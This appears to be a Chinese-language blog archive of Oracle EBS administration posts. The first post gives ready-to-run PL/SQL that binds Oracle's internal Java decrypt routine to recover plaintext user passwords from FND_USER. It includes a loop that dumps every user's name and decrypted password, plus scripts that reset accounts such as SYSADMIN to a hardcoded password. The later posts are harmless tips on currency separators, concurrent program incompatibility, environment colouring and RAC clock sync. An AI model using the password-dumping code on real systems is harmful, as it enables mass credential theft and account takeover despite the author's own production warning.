分类目录归档:系统层级

如何通过程序方式解密EBS系统用户密码

此方法已经通过测试,且是借鉴行内前辈的方式,表示感谢,同时需要注意,此程序在公司正式环境中严禁使用,会带来安全问题:
—将以下代码编译至目标系统—-
CREATE OR REPLACE PACKAGE cux_fnd_web_sec AUTHID CURRENT_USER AS
FUNCTION encrypt(key IN VARCHAR2, VALUE IN VARCHAR2) RETURN VARCHAR2;
FUNCTION decrypt(key IN VARCHAR2, VALUE IN VARCHAR2) RETURN VARCHAR2;
END;
/
CREATE OR REPLACE PACKAGE BODY cux_fnd_web_sec AS
FUNCTION encrypt(key IN VARCHAR2, VALUE IN VARCHAR2) RETURN VARCHAR2 AS
LANGUAGE JAVA NAME ‘oracle.apps.fnd.security.WEBSessionManagerProc.encrypt(java.lang.String,java.lang.String) return java.lang.String’;
FUNCTION decrypt(key IN VARCHAR2, VALUE IN VARCHAR2) RETURN VARCHAR2 AS
LANGUAGE JAVA NAME ‘oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String’;
END;
/

—查询出密匙—

SELECT user_name,
cux_fnd_web_sec.decrypt(upper(‘apps_uat_xx’), ENCRYPTED_USER_PASSWORD) pwd,
END_DATE
FROM APPS.fnd_user
where user_name = upper(‘xxxx’);

SELECT usr.encrypted_user_password
FROM fnd_user usr
WHERE usr.user_name = ‘TEST’
—返回明文,将查询出的结果作为条件带入下面SQL命令—
SELECT cux_fnd_web_sec.decrypt(‘APPS’, ‘ZH226036FE93A20FAED89C4B92838B7C2A7F7133E613B028C482354D32F3C471AAB024794EAC70570FD2443717865F7BA824’)
FROM dual;
结果为: TEST

—批量获取,ORACLE为apps用户密码
declare
l_info varchar2(10000);
cursor user_info is
SELECT usr.user_name, usr.encrypted_user_password
FROM fnd_user usr
where 1 = 1
and to_char(usr.start_date, ‘yyyy’) >= ‘2012’
order by usr.creation_date asc;
begin
for c1 in user_info loop
l_info := cux_fnd_web_sec.decrypt(‘ORACLE’, c1.encrypted_user_password);
dbms_output.put_line(‘用户名:’ || c1.user_name || ‘ 密码:’ || l_info);
end loop;
end;

 

–后台重置密码
DECLARE
v_user_name    VARCHAR2(30) := UPPER(‘test01’);
v_new_password VARCHAR2(30) := ‘test01’;
v_status       BOOLEAN;
BEGIN
v_status := fnd_user_pkg.ChangePassword(username    => v_user_name,
newpassword => v_new_password);
IF v_status = TRUE THEN
dbms_output.put_line(‘The password reset successfully for the User:’ ||
v_user_name);
COMMIT;
ELSE
DBMS_OUTPUT.put_line(‘Unable to reset password due to’ || SQLCODE || ‘ ‘ ||
SUBSTR(SQLERRM, 1, 100));
ROLLBACK;
END IF;
END;

–直接初始化

DECLARE
P_USER_NAME FND_USER.USER_NAME%TYPE;
P_INIT_PASSWORD VARCHAR2(30);—初始化密码,非加密的。

l_change_flag VARCHAR2(10);
l_reason varchar2(2000);
BEGIN
—输入参数(用户名和初始化的密码)
P_USER_NAME := ‘SYSADMIN’;
P_INIT_PASSWORD := ‘sinosoft123’;

———
—处理–
L_change_FLAG := fnd_web_sec.change_password(P_USER_NAME,P_INIT_PASSWORD);

IF L_change_FLAG = ‘Y’ THEN
— Bug 7016473 – During an administrative reset, set the last_logon_date to NULL
— instead of SYSDATE. last_logon_date should reflect the date the user last
— logged in successfully, not the date the user’s password was reset.
— This does not regress the fix for bug 4690441 because in fnd_web_sec.disable_user
— if last_logon_date is NULL, the last_update_date will be used which is the same
— date of the sysadmin reset, so the effect is the same.

— Reset password_date field to null to force password
— expiration the next time user logs on.

UPDATE FND_USER
SET last_logon_date= NULL
,password_date = NULL
–,LAST_UPDATE_DATE = SYSDATE
–,LAST_UPDATE_LOGIN = FND_GLOBAL.LOGIN_ID
WHERE USER_NAME = P_USER_NAME;

COMMIT;
—-
DBMS_OUTPUT.PUT_LINE(‘成功初始化用户(‘||P_USER_NAME||’)的密码为:’||P_INIT_PASSWORD);
ELSE
—显示为什么不可以修改
l_reason := fnd_message.get;
fnd_message.set_name(‘FND’, ‘FND_CHANGE_PASSWORD_FAILED’);
fnd_message.set_token(‘USER_NAME’, P_USER_NAME);
fnd_message.set_token(‘REASON’, l_reason);
app_exception.raise_exception;
END IF;
END;

Oracle EBS R12币种分隔符的使用

    这个只是个小小的预配置文件的设置,但是对客户来讲是很重要的,通过设置“币种:多个分隔符”的地点内容为“是”即可让出现在系统的钱的数值以千位分隔符显示,这样比较容易识别数目。如果直接找不到这个配置文件,则通过模糊查找即可,“%币种%分隔符%”。如下图所示:

bizhong

理解Oracle EBS中设置并发程序的不兼容

        前几天天同事在群里问到这个问题的时候,说实话,当然还真不是理解很深刻,后来经过一番讨论,终于理解了。
这里举个例子,比如我们的客户化程序“CUX:三栏账打印”,里面的逻辑就是要往头和行的表中插入数据,然后从这两个表中取数展示数据,但是如果是有多个机构的公司,比如北京总部、浙江分公司两个机构(当然这两个机构都是用的一套EBS系统)。北京总部在跑“CUX:三栏账打印”这个请求的时候,恰巧浙江分公司也要跑“CUX:三栏账打印”这个请求,这无疑会造成数据的紊乱,因此Oracle提供了这样的解决方式,并发程序的不兼容性设置(对自身的不兼容),如果在不兼容性里面的名称栏设为“CUX:三栏账打印”,那么,当北京总部在跑这个程序的时候,浙江分公司只能处于等待状态,这样就能避免数据紊乱。

如何设置通过任务栏文字及颜色区分Oracle EBS环境

    一个公司在实施Oracle EBS系统的时候,往往会有几套环境同时存在,像我现在所在的项目上就有四套环境同时存在,环境太多,有时候很容易出现识别环境的错误,导致不可能挽回的错误。为了规避此失误操作,减少出错的概率,我们可以通过以下两个设置预配置文件的方式来区分:

1. 设置预配置“地点名称”来区分,比如,将其内容地点置为“XX公司EBS开发环境”,则一进入Form界面就会看到在任务栏上“XX公司EBS 测试环境”的字样,如下图所示:

TEST

2. 设置预配置“Java 色彩设计”来区分,比如将内容地点置为“灰色”,则一进入Form界面就会看到整个界面变为灰色,如下图所示:

java

RAC时间不同步造成系统并发请求奇慢

    最近接连几个身边的项目都遇到了类似这样的问题,请求(客制化和标准的都是如此)很慢。由于生产环境是RAC,DBA建议去查看RAC环境中的各台服务器的系统时间,看是否一致。结果一查发现几台服务器都存在1-2分钟的差异。于是进行过一次时间服务的同步操作(如果是RAC需要关闭RAC再同步,否则DBA说容易出现后续RAC启动失败的风险)后,各请求果真速度提高数倍。其中的原理大家可以去了解了解,本人也只是说明这样一个现象及可能的解决方法。